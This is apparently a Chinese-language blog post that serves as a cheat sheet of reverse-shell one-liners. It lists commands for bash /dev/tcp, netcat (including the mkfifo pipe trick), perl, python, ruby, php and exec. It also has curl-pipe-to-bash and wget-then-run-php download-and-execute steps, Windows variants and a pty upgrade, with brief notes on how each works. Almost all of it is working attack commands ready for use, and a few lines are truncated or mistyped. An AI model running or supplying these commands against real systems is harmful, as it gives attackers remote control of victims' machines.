反弹shell

记录一些常用的反弹shell

bash

最常见的方式 bash -i >& /dev/tcp/<ip>/<port> 0>&1

命令解析
bash -i产生bash交互环境
>&将联合符合前面的内容与后面的内容相结合后传递给后者
/dev/tcp/<ip>/<port>特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。
0>&1将标准输入与标准输出内容相结合,然后重定向给前面的标准输出内容

bash -i>& /dev/tcp/<ip>/<port> 0<&1
bash -i >& /dev/tcp/<ip>/<port> <&2
bash -i >& /dev/tcp/<ip>/<port> 0<&2

netcat

nc <ip> <port> -t /bin/bash

nc -e /bin/bash <ip> <port>

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ip> <port> >/tmp/f
mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路

mknod backpipe p; nc <ip> <port> 0<backpipe | /bin/bash 1>backpipe 2>backpipe

curl

curl <server>|bash
首先在一台公网服务器的某一页面写上bash的反弹shell 在victim上执行即可反弹

perl

perl -e 'use Socket;$i="<ip>";$p=<port>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"<ip>:<port>");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

windows可以使用如下方式反弹
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"<ip>:<port>");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

wget

wget <server>/shell.txt -O /tmp/x.php && php /tmp/x.php

exec

exec 5<>/dev/tcp/<ip</<port>  
cat <&5 | while read line; do $line 2>&5 >&5; done  

0<&196;exec 196<>/dev/tcp/<ip>/<port>; sh <&196 >&196 2>&196

python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

ruby

ruby -rsocket -e'f=TCPSocket.open("<ip>",<port>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("<ip>","<port>");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

windows使用以下方式反弹 ruby -rsocket -e 'c=TCPSocket.new("<ip>","<port>");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

php

php -r 'exec("bash -i >& /dev/tcp/<ip</<port> 0>&1");'

php -r '$sock=fsockopen("<ip>",<port>);exec("/bin/bash -i <&3 >&3 2>&3");'

php- 'exec("/bin/bash -i >& /dev/tcp/<ip>/<port>")'

当拿到的shell不是交互式的时候

python -c 'import pty; pty.spawn("/bin/bash")'

好文章

从OpenVPN配置文件中创建反弹Shell实现用户系统控制 自动化反弹Shell防御技术
Linux 反弹shell(二)反弹shell的本质


© 2021. All rights reserved.

本站总访问量 Web Analytics

Powered by Hydejack v9.1.2 & Moded by ZYA